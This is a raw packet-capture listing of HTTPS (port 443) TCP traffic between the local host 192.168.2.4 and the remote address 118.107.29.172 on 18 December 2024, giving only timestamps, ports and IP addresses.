Dec 18, 2024 13:14:49.337040901 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.337127924 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.337160110 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.337224960 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.362957954 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.362989902 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.363085985 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.363114119 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.363152981 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.369350910 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.369385958 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.369487047 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.369512081 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.369554996 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.374991894 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.375024080 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.375097036 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.375117064 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.375159025 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.381541014 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.381577015 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.381650925 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.381675005 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.381712914 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.387805939 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.387839079 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.387914896 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.387938976 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.387975931 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.393848896 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.393884897 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.393970966 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.393990993 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.394032001 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.400270939 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.400306940 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.400388956 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.400412083 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.400454998 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.443444014 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.443480015 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.443521023 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.443547010 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.443577051 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.443598986 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.468106031 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.468137980 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.468195915 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.468219042 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.468242884 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.468262911 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.473504066 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.473531961 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.473596096 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.473608971 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.473656893 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.480045080 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.480071068 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.480128050 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.480139017 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.480206966 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.487032890 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.487056971 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.487097025 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.487108946 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.487157106 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.492172003 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.492198944 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.492249966 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.492260933 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.492311001 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.499094009 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.499125004 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.499181986 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.499191999 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.499244928 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.504753113 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.504786015 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.504817009 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.504827023 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.504877090 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.527786016 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.527817965 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.527872086 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.527893066 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.527945042 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.553898096 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.553935051 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.554002047 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.554025888 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.554061890 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.559416056 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.559442997 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.559505939 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.559523106 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.559550047 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.559566021 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.566106081 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.566133022 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.566184044 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.566198111 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.566246986 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.572431087 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.572449923 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.572515011 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.572535038 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.572577953 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.578289986 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.578306913 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.578356028 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.578373909 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.578413010 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.578445911 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.584767103 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.584784031 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.584847927 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.584853888 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.584889889 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.584928989 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.590389013 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.590408087 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.590481997 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.590507984 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.590548992 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.635672092 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.635720015 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.635786057 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.635818005 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.635859966 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.635878086 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.660234928 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.660263062 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.660342932 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.660356045 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.660402060 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.660422087 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.666049957 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.666073084 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.666137934 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.666172981 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.666186094 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.666212082 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.672446966 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.672472954 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.672552109 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.672561884 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.672589064 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.672612906 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.679011106 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.679040909 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.679100990 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.679116011 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.679147005 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.679167032 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.684588909 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.684626102 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.684686899 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.684699059 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.684729099 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.684746981 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.691472054 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.691503048 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.691606998 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.691617012 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.691657066 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.697144985 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.697168112 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.697235107 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.697244883 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.697284937 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.697304010 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.706816912 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.720045090 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.720067024 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.720155954 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.720185041 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.720227957 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.746021986 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.746088028 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.746138096 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.746155977 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.746177912 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.746193886 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.751832008 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.751849890 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.751936913 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.751957893 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.752007008 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.758189917 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.758207083 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.758289099 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.758308887 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.758348942 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.764622927 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.764640093 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.764720917 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.764731884 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.764775991 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.770262957 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.770283937 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.770371914 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.770378113 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.770421028 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.777123928 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.777153969 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.777245998 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.777271032 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.777322054 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.782763004 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.782788038 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.782840014 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.782854080 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.782898903 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.912554979 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.912585020 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.912693024 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.912719011 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.912759066 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.938456059 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.938484907 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.938585043 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.938613892 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.938652992 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.944051981 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.944082022 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.944148064 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.944169998 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.944205999 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.950424910 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.950454950 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.950520039 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.950540066 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.950575113 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.956846952 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.956873894 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.956937075 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.956959009 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.956974030 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.956995010 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.962524891 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.962549925 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.962606907 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.962625027 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.962657928 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.969275951 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.969295979 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.969347000 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.969363928 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.969398975 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.975024939 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.975047112 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.975106001 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.975123882 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.975158930 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.104899883 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.104929924 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.105019093 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.105047941 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.105088949 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.130790949 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.130817890 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.130867004 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.130899906 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.130919933 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.130933046 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.136550903 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.136579037 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.136622906 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.136641979 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.136667967 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.136693001 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.143083096 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.143107891 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.143155098 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.143179893 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.143193007 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.143215895 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.149399996 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.149424076 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.149473906 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.149501085 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.149518013 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.149538040 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.155086040 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.155109882 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.155177116 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.155200005 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.155239105 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.161847115 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.161873102 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.161911011 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.161931038 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.161958933 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.161977053 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.167385101 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.167416096 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.167450905 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.167473078 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.167494059 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.167511940 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.297008038 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.297036886 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.297102928 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.297135115 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.297153950 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.297188997 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.323255062 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.323290110 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.323338032 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.323367119 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.323389053 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.323410034 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.328922033 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.328958988 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.329005957 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.329030991 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.329049110 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.329070091 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.335634947 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.335663080 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.335705042 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.335731983 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.335756063 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.335901976 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.341694117 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.341723919 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.341784000 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.341813087 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.341850042 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.348180056 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.348206997 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.348258972 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.348277092 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.348310947 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.354161978 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.354187965 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.354243040 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.354266882 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:50.354300976 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:50.359800100 CET	443	49732	118.107.29.172	192.168.2.4
